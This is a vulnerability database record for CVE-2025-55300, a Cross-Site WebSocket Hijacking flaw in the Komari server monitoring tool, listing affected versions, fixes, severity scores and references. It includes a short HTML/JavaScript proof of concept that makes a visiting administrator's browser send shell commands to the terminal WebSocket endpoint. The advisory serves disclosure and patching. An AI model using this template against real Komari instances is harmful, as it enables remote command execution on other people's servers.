{"id":"CVE-2025-55300","aliases":["CVE-2025-55300","GHSA-q355-h244-969h","GO-2025-3874"],"related":[],"kind":"vulnerability","state":"published","title":"Komari Allows Cross-site WebSocket Hijacking","summary":"Komari is a lightweight, self-hosted server monitoring tool designed to provide a simple and efficient solution for monitoring server performance. Prior to 1.0.4-fix1, WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users. Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution. This vulnerability is fixed in 1.0.4-fix1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Komari is a lightweight, self-hosted server monitoring tool designed to provide a simple and efficient solution for monitoring server performance. Prior to 1.0.4-fix1, WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users. Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution. This vulnerability is fixed in 1.0.4-fix1.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nWebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users\n\n### Details\n\nhttps://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35\n\nAny third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution\n\n### PoC\n\n1. Login in to your komari instance\n2. Hosting the following HTML code on internet, replace `<komari-addr>` and `<target-uuid>` into yours\n3. Visit this HTML page, you can see your node is executing `uptime` without your actions\n\n```\n<pre></pre>\n<script>\nconst socket = new WebSocket(\"wss://<komari-addr>/api/admin/client/<target-uuid>/terminal\");\nsocket.addEventListener(\"open\", (event) => {\n  const binaryBlob = new Blob(['uptime\\n'], { type: 'application/octet-stream' });\n  socket.send(binaryBlob);\n});\nsocket.addEventListener(\"message\", (event) => {\n  event.data.text().then(x => {document.querySelector(\"pre\").append(x)});\n});\n</script>\n```\n\n### Impact\n\nAn administrator of a Komari instance will execute commands on their nodes unnoticed when visiting a malware page.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Komari vulnerable to Cross-site WebSocket Hijacking in github.com/komari-monitor/komari","format":"markdown","source":"go"},{"lang":"es","text":"Komari es una herramienta ligera y autoalojada para la monitorización de servidores, diseñada para ofrecer una solución sencilla y eficiente para supervisar el rendimiento del servidor. Antes de la versión 1.0.4-fix1, el actualizador de WebSocket deshabilitaba la comprobación de origen, lo que permitía ataques de Cross-Site WebSocket Hijacking (CSWSH) contra usuarios autenticados. Cualquier sitio web de terceros puede enviar solicitudes al endpoint websocket del terminal con las cookies del navegador, lo que provoca la ejecución remota de código. Esta vulnerabilidad se corrigió en la versión 1.0.4-fix1.","source":"nvd"}],"published":"2025-08-12T00:13:28.000Z","modified":"2026-06-17T09:41:36.737Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.6,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.6,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"HIGH"}],"cwes":["CWE-79","CWE-1385"],"affected":[{"ranges":[{"version":"< 1.0.4-fix1","status":"affected"}],"vendor":"komari-monitor","product":"komari","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20250809073044-53171affcaf0"}],"ecosystem":"Go","package":"github.com/komari-monitor/komari","purl":"pkg:golang/github.com/komari-monitor/komari","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20250809073044-53171affcaf0"}],"ecosystem":"Go","package":"github.com/komari-monitor/komari","purl":"pkg:golang/github.com/komari-monitor/komari","source":"go"}],"references":[{"url":"https://github.com/komari-monitor/komari/security/advisories/GHSA-q355-h244-969h","tags":["advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/komari-monitor/komari/commit/d31d12e59febce100ab0285b93338f09aa5d6cb1","tags":["x-refsource-misc"],"sources":["cvelist","nvd"]},{"url":"https://github.com/komari-monitor/komari/commit/53171affcaf050145810efaaef420651a6e630be","tags":["fix","web"],"sources":["ghsa","go"]},{"url":"https://github.com/komari-monitor/komari","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35","tags":["web"],"sources":["ghsa","go"]},{"url":"https://github.com/komari-monitor/komari/releases/tag/1.0.4-fix2","tags":["web"],"sources":["ghsa","go"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2025-08-18T17:51:59.661Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-55300","url":"https://www.cve.org/CVERecord?id=CVE-2025-55300","licence":"CVE Terms of Use","modified":"2025-08-18T17:52:19.481Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-q355-h244-969h","url":"https://github.com/advisories/GHSA-q355-h244-969h","licence":"CC-BY-4.0","modified":"2025-08-19T04:59:36.107Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2025-3874","url":"https://pkg.go.dev/vuln/GO-2025-3874","licence":"CC-BY-4.0","modified":"2026-03-03T04:56:48.901Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-55300","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55300","licence":"Public domain","modified":"2026-06-17T09:41:36.737Z"}],"updatedAt":"2026-11-25T22:59:02.665Z","epss":{"score":0.0064,"percentile":0.51994,"date":"2026-12-01T12:00:22.000Z"}}